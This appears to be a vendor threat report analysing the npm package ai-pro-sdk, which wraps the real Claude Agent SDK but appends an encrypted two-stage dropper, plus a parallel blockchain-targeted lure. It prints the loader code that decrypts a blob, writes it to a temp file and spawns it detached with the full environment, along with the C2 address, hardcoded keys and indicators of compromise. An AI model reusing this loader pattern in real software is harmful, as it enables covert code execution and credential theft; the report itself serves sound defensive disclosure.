Securing the agentic AI software supply chain
← Research
Threat report Jul 15, 2026

Wrapped in a familiar name: ai-pro-sdk runs a multi-stage encrypted dropper on import

ai-pro-sdk (published July 14, 2026 by arslan310kiran) presents itself as an unofficial AI SDK v7 provider for Claude. The legitimate wrapper code re-exports the real @anthropic-ai/claude-agent-sdk. Appended to the same file is a loader that imports a DES-encrypted blob from the publisher own data-blockv package, decrypts it, and spawns it as a detached child process. The decrypted payload is heavily obfuscated JavaScript that silently installs axios and socket.io-client, contacts a hardcoded C2 server over HTTP, decrypts a second-stage script using AES-256-CBC, writes it to the OS temp directory, and executes it. A parallel campaign targeting blockchain developers uses the same pattern through chain-sdk-js and its dependency thedata, published by a second account.

ai-pro-sdk (v2.0.3, published July 14, 2026) presents itself as an unofficial AI SDK v7 provider for Claude via the Claude Agent SDK. The package wraps the legitimate @anthropic-ai/claude-agent-sdk and re-exports its functions. Appended to the end of the same dist/index.js is a loader that decrypts and executes hidden code on import.

The loader imports a DES-encrypted blob from data-blockv, a second package published by the same account. The decrypted payload is obfuscated JavaScript that silently installs dependencies, contacts a hardcoded remote server, retrieves an AES-256-CBC-encrypted second stage, writes it to the OS temp directory, and executes it. The same publisher runs a parallel campaign targeting blockchain developers through chain-sdk-js and its dependency thedata.

The artifact

ai-pro-sdk lists its repository as github[.]com/ben-vargas/ai-pro-sdk. That URL returns HTTP 404. The npm publisher is arslan310kiran, not ben-vargas. No matching GitHub repository exists.

The publisher account has three packages. All were published between July 13 and July 14, 2026, with rapid version iteration suggesting active testing of the payload delivery.

PackageVersionsPublished (UTC)Role
data-blockv1.0.0, 1.0.1Jul 13, 14:42 and 20:51Encrypted payload carrier
ai-pro-sdk2.0.1, 2.0.2, 2.0.3Jul 14, 07:19 to 07:30 (11 min)Lure targeting AI developers
chain-sdk-js1.0.2 through 1.0.5Jul 14, 15:14 to 15:49 (35 min)Lure targeting blockchain developers

The build script in package.json is a no-op: node -e "console.log('Build skipped; dist artifacts are already present')". The test script is similarly empty. The dist artifacts are pre-built and not reproducible from any public source.

What it does

The wrapper

The first 4,638 lines of dist/index.js are a functional AI SDK provider. The code imports from @anthropic-ai/claude-agent-sdk, @ai-sdk/provider, and @ai-sdk/provider-utils, implementing message conversion, tool handling, and MCP server bridging. This code works. It provides the functionality described in the README, which makes the package appear legitimate on inspection.

The loader

Starting at line 4,639, the file imports child_process.spawn and crypto-js, and defines a DES decryption function with a hardcoded password:

const PASSWORD = "babyysharkk";

export function decryptToken(token, password) {
  let bytes;
  bytes = CryptoJS.DES.decrypt(token, password);
  const text = bytes.toString(CryptoJS.enc.Utf8);
  return text;
}

An immediately-invoked async function imports data-blockv, decrypts its default export, writes the result to a randomly-named temp file, and spawns it as a detached child process:

const mod = await import('data-blockv');
const tokenCandidate = mod && (mod.default ?? mod.token ?? mod);
const decrypted = decryptToken(String(tokenCandidate).trim(), PASSWORD);

fsMod.writeFileSync(tmpPath, String(decrypted), { mode: 0o600 });

const rsa_exec = spawn(process.execPath, [tmpPath], {
  detached: true,
  stdio: ['ignore', outFd, errFd],
  cwd: process.cwd(),
  env: process.env
});
rsa_exec.unref();

The child process inherits the full process.env, giving the spawned script access to every environment variable on the host: API keys, cloud credentials, registry tokens. The detached: true and unref() calls ensure the child continues running after the parent process exits.

The payload carrier

data-blockv (v1.0.1) contains eight files. Its README claims it reads a SQLite database file named data.db. The actual code in index.js and index.mjs reads a different file, data.js, and exports its contents as a string.

data.js is a 33,240-character blob. The first eight bytes decode from base64 to Salted__, the standard CryptoJS encrypted data prefix.

The decrypted payload

The decrypted content is 24,909 characters of heavily obfuscated JavaScript using string array rotation and RC4 string encoding. Decoding the 76 unique obfuscated strings from the string table reveals the following behavior:

Dependency staging. The payload runs npm install axios socket.io-client --loglevel silent via child_process.execSync. The --loglevel silent flag suppresses all console output.

C2 contact. The payload builds a server address from four arithmetic expressions that evaluate to the IP 45[.]61[.]129[.]179. It contacts hxxp://45[.]61[.]129[.]179/api/service/ using axios with an Authentication header.

Second-stage decryption. The C2 response is split by : to extract an IV and ciphertext. The payload decrypts the ciphertext using crypto.createDecipheriv('aes-256-cbc', key, Buffer.from(iv, 'base64')) with the hardcoded key f43729dbad1c5a00380e710e537ffd6f.

Second-stage execution. The decrypted script is written to os.tmpdir() via fs.writeFileSync and executed with child_process.execSync with windowsHide: true.

Error suppression. The payload registers handlers for uncaughtException and unhandledRejection on process, ensuring errors from the malicious code do not surface to the user.

ai-pro-sdk dist/index.js Legitimate SDK wrapper + appended loader Imports data-blockv data.js 33 KB DES-encrypted blob DES decrypt (password: babyysharkk) write to temp file, spawn detached with process.env Stage 1: obfuscated JS (25 KB, RC4 string encoding) npm install axios socket.io-client --loglevel silent HTTP to 45[.]61[.]129[.]179/api/service/ Response decrypted: AES-256-CBC, hardcoded key Stage 2: write to tmpdir, execute Aephix
The full chain: ai-pro-sdk imports a DES-encrypted blob from its own dependency, decrypts and spawns it, and the spawned process contacts a remote server for a second-stage payload encrypted with AES-256-CBC.

The parallel campaign

The same publisher account runs a second lure targeting blockchain developers. chain-sdk-js presents itself as a JavaScript library for the Theta blockchain. It depends on thedata, which is published by a different account (denniscarl, email dennis87carl[@]outlook.com).

thedata is structured as a Turborepo monorepo (64 files, 744 KB unpacked). Its entry point exports rsaKey and desKey, both read from .db files that contain OpenSSL-encrypted, base64-encoded data. The same structure as data-blockv: legitimate-looking packaging around encrypted payload files.

The chain-sdk-js dependency list includes crypto-js alongside legitimate blockchain libraries (ethers, secp256k1, rlp). The thedata package was published on July 14, 2026 at 14:07 UTC, one hour before chain-sdk-js at 15:14 UTC.

LurePayload depPublisherTarget audience
ai-pro-sdkdata-blockvarslan310kiranAI/LLM developers
chain-sdk-jsthedataarslan310kiran / denniscarlBlockchain developers

Indicators of compromise

TypeIndicatorContext
npm packageai-pro-sdk (2.0.1, 2.0.2, 2.0.3)Lure targeting AI developers
npm packagedata-blockv (1.0.0, 1.0.1)DES-encrypted payload carrier
npm packagechain-sdk-js (1.0.2 through 1.0.5)Lure targeting blockchain developers
npm packagethedata (1.0.0, 1.0.1)Dual-payload carrier (rsa.db, des.db)
npm accountarslan310kiranPublisher of ai-pro-sdk, data-blockv, chain-sdk-js
npm emailarslan310.kiran[@]outlook[.]comRegistration email for arslan310kiran
npm accountdenniscarlPublisher of thedata
npm emaildennis87carl[@]outlook[.]comRegistration email for denniscarl
GitHub (404)github[.]com/ben-vargas/ai-pro-sdkPhantom repository claimed in package.json
C2 IP45[.]61[.]129[.]179Payload delivery server (computed from obfuscated arithmetic)
C2 endpointhxxp://45[.]61[.]129[.]179/api/service/Stage 2 download URL
Cipher (stage 1)DES with password babyysharkkDecrypts data-blockv blob
Cipher (stage 2)AES-256-CBCDecrypts C2 response
AES keyf43729dbad1c5a00380e710e537ffd6fHardcoded in obfuscated payload
Silent installnpm install axios socket.io-client —loglevel silentDependency staging by payload
Temp file patternai-pro-sdk-child-{timestamp}-{random}.jsFirst-stage dropper artifact on disk
Log file patternai-pro-sdk-child-{timestamp}-{random}.out.logChild process stdout log
Process flagwindowsHide: trueHides spawned process window on Windows
Error suppressionprocess.on(‘uncaughtException’)Silent error handling

What a defender can do

Search your lockfile for ai-pro-sdk, data-blockv, chain-sdk-js, or thedata. If any resolved, treat the host as compromised. Rotate every credential that was present in environment variables on that machine: API keys, cloud tokens, registry credentials.

Check os.tmpdir() for files matching ai-pro-sdk-child-*.js and their corresponding .out.log and .err.log files. Check for any node processes running from temp-directory scripts. The spawned process is detached and will continue running after the parent exits.

The ignore-scripts=true setting in .npmrc does not block this package. The malicious code is not in a lifecycle script. It runs at module load time when the package is imported.

npm install axios socket.io-client --loglevel silent leaves traces in the local node_modules directory and in npm’s cache log (~/.npm/_logs/). The presence of socket.io-client in a project that does not use it is a signal worth investigating.

Where Aephix fits

Two npm accounts published four packages across two days, targeting two different developer audiences with the same encrypted dropper technique. The accounts share infrastructure (same C2 server, same encryption scheme, same code structure) but publish under different names with different email addresses. Recognizing that ai-pro-sdk and chain-sdk-js are part of the same operation requires looking beyond individual package metadata.

Aephix Sleuth links a flagged package to the wider operation behind it, with a confidence level and supporting evidence. When one package in this operation is flagged, the others surface with it. Aephix Vantage gives you a free, cross-ecosystem view of what is already known to be malicious, so a lure package from a coordinated campaign is something you recognize before it reaches your lockfile.